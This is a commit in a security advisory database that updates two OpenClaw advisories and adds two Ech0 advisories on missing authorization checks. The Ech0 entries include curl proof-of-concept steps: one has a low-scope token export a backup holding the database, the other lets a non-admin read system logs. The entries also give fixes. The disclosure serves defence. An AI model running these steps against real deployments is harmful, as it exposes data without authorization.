Skip to content

Commit 01336b3

Browse files
1 parent 1b8497a commit 01336b3

7 files changed

Lines changed: 353 additions & 7 deletions

File tree

advisories/github-reviewed/2026/03/GHSA-39pp-xp36-q6mg/GHSA-39pp-xp36-q6mg.json

Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,21 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-39pp-xp36-q6mg",
4-
"modified": "2026-04-10T17:23:21Z",
4+
"modified": "2026-04-10T19:41:04Z",
55
"published": "2026-03-26T19:51:12Z",
66
"aliases": [
77
"CVE-2026-35650"
88
],
99
"summary": "OpenClaw has Inconsistent Host Exec Environment Override Sanitization",
1010
"details": "## Summary\nGateway host exec env override handling did not consistently apply the shared host environment policy, so blocked or malformed override keys could slip through inconsistent sanitization paths.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: < 2026.3.22\n- Fixed: >= 2026.3.22\n- Latest released tag checked: `v2026.3.23-2` (`630f1479c44f78484dfa21bb407cbe6f171dac87`)\n- Latest published npm version checked: `2026.3.23-2`\n\n## Fix Commit(s)\n- `7abfff756d6c68d17e21d1657bbacbaec86de232`\n\n## Release Status\nThe fix shipped in `v2026.3.22` and remains present in `v2026.3.23` and `v2026.3.23-2`.\n\n## Code-Level Confirmation\n- src/infra/host-env-security.ts now provides one shared sanitizer and fail-closed diagnostics for blocked or malformed override keys.\n- src/agents/bash-tools.exec.ts and src/node-host/invoke-system-run.ts both route env overrides through the shared sanitizer before execution.\n\nOpenClaw thanks @zpbrent for reporting.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
},
1216
{
1317
"type": "CVSS_V4",
14-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N"
18+
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
1519
}
1620
],
1721
"affected": [
@@ -40,9 +44,25 @@
4044
"type": "WEB",
4145
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-39pp-xp36-q6mg"
4246
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35650"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/openclaw/openclaw/commit/7abfff756d6c68d17e21d1657bbacbaec86de232"
58+
},
4359
{
4460
"type": "PACKAGE",
4561
"url": "https://github.com/openclaw/openclaw"
62+
},
63+
{
64+
"type": "WEB",
65+
"url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-override-bypass-via-inconsistent-sanitization"
4666
}
4767
],
4868
"database_specific": {
@@ -53,6 +73,6 @@
5373
"severity": "HIGH",
5474
"github_reviewed": true,
5575
"github_reviewed_at": "2026-03-26T19:51:12Z",
56-
"nvd_published_at": null
76+
"nvd_published_at": "2026-04-10T17:17:05Z"
5777
}
5878
}

advisories/github-reviewed/2026/03/GHSA-wj55-88gf-x564/GHSA-wj55-88gf-x564.json

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wj55-88gf-x564",
4-
"modified": "2026-04-10T17:22:19Z",
4+
"modified": "2026-04-10T19:41:36Z",
55
"published": "2026-03-26T21:14:24Z",
66
"aliases": [
77
"CVE-2026-35648"
@@ -11,7 +11,7 @@
1111
"severity": [
1212
{
1313
"type": "CVSS_V4",
14-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
14+
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
1515
}
1616
],
1717
"affected": [
@@ -40,23 +40,35 @@
4040
"type": "WEB",
4141
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-wj55-88gf-x564"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35648"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87"
50+
},
4351
{
4452
"type": "WEB",
4553
"url": "https://github.com/openclaw/openclaw/commit/ec2c6d83b9f5f91d6d9094842e0f19b88e63e3e2"
4654
},
4755
{
4856
"type": "PACKAGE",
4957
"url": "https://github.com/openclaw/openclaw"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://www.vulncheck.com/advisories/openclaw-policy-bypass-via-unvalidated-queued-node-actions"
5062
}
5163
],
5264
"database_specific": {
5365
"cwe_ids": [
5466
"CWE-367",
5567
"CWE-863"
5668
],
57-
"severity": "MODERATE",
69+
"severity": "LOW",
5870
"github_reviewed": true,
5971
"github_reviewed_at": "2026-03-26T21:14:24Z",
60-
"nvd_published_at": null
72+
"nvd_published_at": "2026-04-10T17:17:05Z"
6173
}
6274
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4h9q-p5j4-xvvh",
4+
"modified": "2026-04-10T19:39:46Z",
5+
"published": "2026-04-10T19:39:46Z",
6+
"aliases": [],
7+
"summary": "Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export",
8+
"details": "## Summary\n\nEch0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.\n\n## Impact\n\nAn attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.\n\n## Details\n\nThe issue is caused by a split authorization model:\n\n- `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context\n- `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it\n- several privileged routes omit `RequireScopes(...)`\n- multiple service methods then authorize using only `user.IsAdmin`\n\n`internal/middleware/scope.go` shows that scope enforcement is opt-in:\n\n```go\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tv := viewer.MustFromContext(ctx.Request.Context())\n\t\tif v.TokenType() == authModel.TokenTypeSession {\n\t\t\tctx.Next()\n\t\t\treturn\n\t\t}\n\t\tif v.TokenType() != authModel.TokenTypeAccess { ... }\n\t\tif !containsValidAudience(v.Audience()) { ... }\n\t\tif !containsAllScopes(v.Scopes(), scopes) { ... }\n\t\tctx.Next()\n\t}\n}\n```\n\nRepresentative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`:\n\n```go\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox\", h.InboxHandler.GetInboxList())\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox/unread\", h.InboxHandler.GetUnreadInbox())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/inbox/:id/read\", h.InboxHandler.MarkInboxAsRead())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox/:id\", h.InboxHandler.DeleteInbox())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox\", h.InboxHandler.ClearInbox())\n}\n```\n\nOther source-confirmed unguarded privileged surfaces include:\n\n- `/api/panel/comments*`\n- `/api/addConnect`\n- `/api/delConnect/:id`\n- `/api/migration/*`\n- `/api/backup/export`\n\nService-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`:\n\n```go\nfunc (inboxService *InboxService) ensureAdmin(ctx context.Context) error {\n\tuserid := viewer.MustFromContext(ctx).UserID()\n\tuser, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !user.IsAdmin {\n\t\treturn errors.New(commonModel.NO_PERMISSION_DENIED)\n\t}\n\treturn nil\n}\n```\n\nThe backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\ttoken := ctx.Query(\"token\")\n\t\tclaims, err := jwtUtil.ParseToken(token)\n\t\tif err != nil { ... }\n\n\t\treqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }\n\t\treturn res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}\n\t})\n}\n```\n\nThis drops token type, scopes, audience, and token ID before the backup service runs.\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n --name ech0 \\\n -p 6277:6277 \\\n -v /opt/ech0/data:/app/data \\\n -e JWT_SECRET=\"Hello Echos\" \\\n sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}'\n```\n\n### 3. Log in as the owner and mint a low-scope access token\n\n```bash\nowner_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"owner\",\"password\":\"ownerpass\"}' \\\n | sed -n 's/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p'\n)\n\nlow_scope_admin_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/access-tokens\" \\\n -H 'Content-Type: application/json' \\\n -H \"Authorization: Bearer $owner_token\" \\\n -d '{\"name\":\"echo-read-only\",\"expiry\":\"8_hours\",\"scopes\":[\"echo:read\"],\"audience\":\"cli\"}' \\\n | sed -n 's/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p'\n)\n```\n\n### 4. Use the low-scope token on an unguarded admin route\n\n```bash\ncurl -sS \"http://127.0.0.1:6277/api/inbox\" \\\n -H \"Authorization: Bearer $low_scope_admin_token\"\n```\n\nObserved response:\n\n```text\n{\"code\":1,\"msg\":\"获取收件箱成功\",\"data\":{\"total\":0,\"items\":[]}}\n```\n\n### 5. Use the same low-scope token on backup export\n\n```bash\ncurl \"http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token\"\n```\n\nObserved response:\n\n<img width=\"585\" height=\"111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c\" />\n\nTry to unzip we will have log and database file:\n\n```\n->% unzip a.zip -d a\nArchive: a.zip\n inflating: a/app.log \n inflating: a/ech0.db \n```\n\n## Recommended fix\n\nApply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.\n\nSuggested route-level changes:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/inbox\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.InboxHandler.GetInboxList(),\n\t)\n\t// Apply the same pattern to the remaining inbox routes.\n}\n\nfunc setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/backup/export\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.BackupHandler.ExportBackup(),\n\t)\n}\n```\n\nSuggested handler fix for `internal/handler/backup/backup.go`:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {\n\t\t\treturn res.Response{\n\t\t\t\tMsg: \"\",\n\t\t\t\tErr: err,\n\t\t\t}\n\t\t}\n\n\t\treturn res.Response{\n\t\t\tMsg: commonModel.EXPORT_BACKUP_SUCCESS,\n\t\t}\n\t})\n}\n```\n\nThe same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/lin-snow/ech0"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.3.5"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-4h9q-p5j4-xvvh"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/lin-snow/Ech0"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.3.5"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-285"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-10T19:39:46Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cp79-9mwr-wr49",
4+
"modified": "2026-04-10T19:40:02Z",
5+
"published": "2026-04-10T19:40:02Z",
6+
"aliases": [],
7+
"summary": "Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs",
8+
"details": "## Summary\n\nEch0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.\n\n## Impact\n\nAny valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.\n\n## Details\n\nThe issue is caused by an authorization gap between route registration, handler logic, and the service layer.\n\n`internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:\n\n```go\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// Auth\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs\", h.DashboardHandler.GetSystemLogs())\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs/stream\", h.DashboardHandler.SSESubscribeSystemLogs())\n\tappRouterGroup.WSRouterGroup.GET(\"/system/logs\", h.DashboardHandler.WSSubscribeSystemLogs())\n}\n```\n\n`internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds:\n\n```go\nfunc (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tlogs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{\n\t\t\tTail: tail,\n\t\t\tLevel: ctx.Query(\"level\"),\n\t\t\tKeyword: ctx.Query(\"keyword\"),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn res.Response{Err: err}\n\t\t}\n\t\treturn res.Response{\n\t\t\tData: logs,\n\t\t\tMsg: \"获取系统日志成功\",\n\t\t}\n\t})\n}\n```\n\n`internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\ttail := query.Tail\n\tif tail <= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```\n\nAffected endpoints:\n\n- `GET /api/system/logs`\n- `GET /api/system/logs/stream?token=...`\n- `GET /ws/system/logs?token=...`\n\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n --name ech0 \\\n -p 6277:6277 \\\n -v /opt/ech0/data:/app/data \\\n -e JWT_SECRET=\"Hello Echos\" \\\n sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account and register a normal user\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}'\n\ncurl -sS -X POST \"http://127.0.0.1:6277/api/register\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"winky\",\"password\":\"winkypass\",\"email\":\"winky@example.com\"}'\n```\n\n### 3. Log in as the non-admin user and request the system log endpoint\n\n```bash\nwinky_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"winky\",\"password\":\"winkypass\"}' \\\n | sed -n 's/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p'\n)\n\ncurl -sS \"http://127.0.0.1:6277/api/system/logs\" \\\n -H \"Authorization: Bearer $winky_token\"\n```\n\nObserved response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log`\n\n<img width=\"1073\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8\" />\n\n\nThe same missing-authorization pattern also affects:\n\n- `GET /api/system/logs/stream?token=<non-admin-token>`\n- `GET /ws/system/logs?token=<non-admin-token>`\n\n\n## Recommended fix\n\nRequire an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.\n\nSuggested change in `internal/router/dashboard.go`:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.GetSystemLogs(),\n\t)\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs/stream\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.SSESubscribeSystemLogs(),\n\t)\n\tappRouterGroup.WSRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.WSSubscribeSystemLogs(),\n\t)\n}\n```\n\nSuggested defense-in-depth change in the service layer:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\tif err := s.ensureAdmin(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttail := query.Tail\n\tif tail <= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/lin-snow/ech0"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.3.5"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cp79-9mwr-wr49"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/lin-snow/Ech0"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.3.5"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-862"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-10T19:40:02Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)